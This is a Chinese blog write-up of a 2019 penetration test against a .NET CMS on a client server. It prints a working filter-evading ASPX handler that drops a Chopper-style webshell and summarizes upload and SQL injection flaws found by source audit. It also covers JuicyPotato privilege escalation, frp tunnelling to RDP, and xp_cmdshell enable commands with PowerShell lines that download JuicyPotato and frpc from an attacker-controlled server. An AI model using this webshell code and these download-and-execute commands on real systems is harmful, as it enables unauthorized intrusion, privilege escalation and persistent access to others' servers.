实战|一次项目渗透实战

技术

19年的某次项目,回顾时候放出来做博客文章。

1. 后台getshell绕过

存在某处上传

picture.image

这里发现上传任意文件,但是会检测文件内容,上传的不能带有eval。带有就会返回为空,不提交。

picture.image

大致思路可以有:写一个文件保存的aspx,然后去访问,就可以再根目录生成一个aspx文件。不过这里很蛋疼,这个同样会检测,如果你代码里面写了eval,就会失败。这里我把eval做了一个数组,然后提交

picture.image

代码如下:


          
<%@ WebHandler Language="C#" class="Handler" %>  
          
eval  
          
using System;  
          
using System.Web;  
          
using System.IO;  
          
public class Handler : IHttpHandler {  
          
public void ProcessRequest (HttpContext context) {  
          
context.Response.ContentType = "text/plain";  
          
char[] letters = { 'e', 'v', 'a', 'l'}; //弄了一个数组,来防止检测eval  
          
string st = "@ ";  
          
string ssa = "<%";  
          
string bb = "Page Language=\\"Jscript\\"%><%";  
          
string aa = new string(letters);  
          
string zcz = "(Request.Item[\\"chopper\\"],\\"unsafe\\");%>";  
          
string payload = ssa+st+bb+aa+zcz; //做了拼接  
          
StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));  
          
file1.Write(payload);  
          
file1.Flush();  
          
file1.Close();  
          
}  
          
public bool IsReusable {  
          
get {  
          
return false;  
          
}  
          
}  
          
}
      

上传成功。进入之后,权限很低,仅仅是iis用户

picture.image

2. NET审计

得到shell权限之后,我分析了一波他的网站源码。
.NET core的反编译可以使用dnSpy 和 ILSpy 两个都可以
先来了解一下.NET的MVC模式

.NET的MVC路由配置

picture.image

我有一个Products的请求,然后将它映射到相关的控制器,由控制器去构建Model,Model返回给控制器相关数据,控制器就将这些数据渲染给View,最终返回一个html页面给用户。
而这里要讲的路由就是,怎么把HTTP请求正确的映射给正确的Controller,并且映射到正确的方法上
路由分两种 一种是Conventional Routing 按约定配置路由


        
            

          
 app.UseMvcWithDefaultRoute(); //使用默认路由,
 
        
      

等价于下面这种自定义路由


          
app.UseMvc(routes =>
          
{
          
   routes.MapRoute("default", "{controller=Home}/{action=Index}/{id?}");
          
});  //自定义路由,如果Http请求没有控制器,就自动找Home,没有方法就自动找Index
          

          
Http请求  /                    ->->  HomeController下的Index action
          
         /computer/index      ->->  computerController下的Index action
      

第二种是Attribute Routing 特性路由(webapi)
例子,现在有一个controllers名为about,其有两个方法me和company


          
namespace Tutorial.Web.Controllers
          
{
          
    [Route("about")]    //这种就是。Controller级别的.想访问这个About控制器,路径必须以about开始
          
// [Route("[Controller]/[action]")]  或者直接这样子
          
public class AboutController
          
    {
          
//  假设我想直接输入/About  就能访问me 就把Route留空。
          
        [Route(" ")]
          
public string Me()
          

          
        {
          
return "HH";
          
        }
          
        [Route("Company")]   //匹配Company
          
public string Company()
          
        {
          
return "AA";
          
        }
          
    }
          
}
          

          
? 将一个路由参数标记为 可选参数
          
[Route("api/product/{id:int}")]   将id参数绑定为int类型
          
[HttpPost]
          
[Route("api/product/{id}")]   标记为post类型
      

审计过程

这个程序我一步一步来说我的思路,毕竟我才入门.NET ,可能有一点不准确。还请指出我存在的错误。
首先我要弄懂的是这个CMS是怎么去访问的,怎么映射到相关方法,权限控制哪些能访问的。
在.NET中,上面说的路由,是HTTP请求正确的映射给正确的Controller,并且映射到正确的方法上。但是在映射之前,你需要指定程序去服务才行。
web.config默认配置就有说明,怎么去服务请求的.
这是manager的配置,可以看到访问/API/ 就把请求给webapihandle去服务

picture.image

这是webapihandle的文件内容

picture.image

实现了一个一般处理程序处理过程HttpHandlerHttpHandler,来响应我们的http请求。
然后接受我们的参数,通过反射的方法调用其它dll中的类和方法

picture.image

加载dll文件

picture.image

通过HTTP请求来访问加载dll文件的方法和属性.例如。


        
            

          
 http://localhost/API/SystemUser/Create/ 返回:[0]:API,[1]:SystemUser,[2]:Create</example>
 
        
      

requestObject是加载方法,而parametValues是方法所需要的参数。然后调用该方法和类,传参,如果请求成功则返回json数组,请求失败则用自定义的json数组

picture.image

这里我觉得需要注意的,它请求的类名都是以API结尾的,所有我们就能解释后面访问为什么不需要加上API。

picture.image

下面这一块我尝试理解了一下,这里应该是一个改写的Route,它大概实现了对路由的控制功能,这里分三种情况

  • [WebAPI(false)] 不用判断登入状态

  • [WebAPI("xxx.Access")] 判断登入状态且判断用户权限

  • [WebAPI] 单单判断登入状态

picture.image

我们没有登入的方法,所以需要去找那些不需要登入的方法。

大概说了一下我怎么去看这个cms的,下面漏洞发现过程就不一一细说了。我是一个一个方法去看,只看我能访问的。

审计结果

找了以下几个漏洞。
一处上传漏洞

picture.image

一处sql注入,很明显了。直接拼接code,没有做任何处理。

picture.image

一处上传漏洞,直接把文件后缀当作保存文件后缀,没自定义

picture.image

又一处sql注入漏洞,带报错的

picture.image

3.烂土豆提权

偶然发现这个烂土豆,windows的一个本地特权提升工具。

picture.image

光提权没用,想登入3389得做映射。这里我用了frp来端口映射。

picture.image

frpc -c frpc.ini
OK!

picture.image

4.Mssql提权

刚好之前找到了一个mssql的数据库可以外连。

picture.image

阿里云的,,服务器。

picture.image

试试能不能开启mssql的命令执行

MSSQL开启命令执行


          
exec sp_configure 'show advanced options',1;reconfigure;
          

          
exec sp_configure 'xp_cmdshell',1;reconfigure;
          

          
exec master.dbo.xp_cmdshell 'whoami';
      

picture.image

有戏。

这里我就一个命令执行,新加用户也没有权限,而且只开了1433.。。

我就想,之前用烂土豆把用户给增加了,这台机器也是2012的,说不定有戏

先把烂土豆上传上去,把烂土豆放在外网服务器上,然后用powershell下载


        
            

          
 exec master.dbo.xp\_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''http://你的服务器地址/JuicyPotato.exe'',''C:\Users\MSSQLSERVER\Downloads\123.exe'')"';
 
        
      

picture.image

成功!!

picture.image

因为也没开3389,继续用frp映射出来


          
exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''服务器/frpc.exe'',''C:\Users\MSSQLSERVER\Downloads\frpc.exe'')"';
          

          
exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''服务器/frpc.ini'',''C:\Users\MSSQLSERVER\Downloads\frpc.ini'')"';
      

picture.image

picture.image

作者:pw0rld,文章来源于https://pw0rld.icu/index.php/archives/4/

历史文章推荐:

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

内网渗透之域渗透命令执行总结

[WEB安全]Weblogic漏洞总结

查看更多精彩内容,还请关注 橘猫学安全

每日坚持学习与分享,麻烦各位师傅文章底部给点个“ 再看 ”,感激不尽 picture.image

0
0
0
0
关于作者

文章

0

获赞

0

收藏

0

相关资源
云原生机器学习系统落地和实践
机器学习在字节跳动有着丰富业务场景:推广搜、CV/NLP/Speech 等。业务规模的不断增大对机器学习系统从用户体验、训练效率、编排调度、资源利用等方面也提出了新的挑战,而 Kubernetes 云原生理念的提出正是为了应对这些挑战。本次分享将主要介绍字节跳动机器学习系统云原生化的落地和实践。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论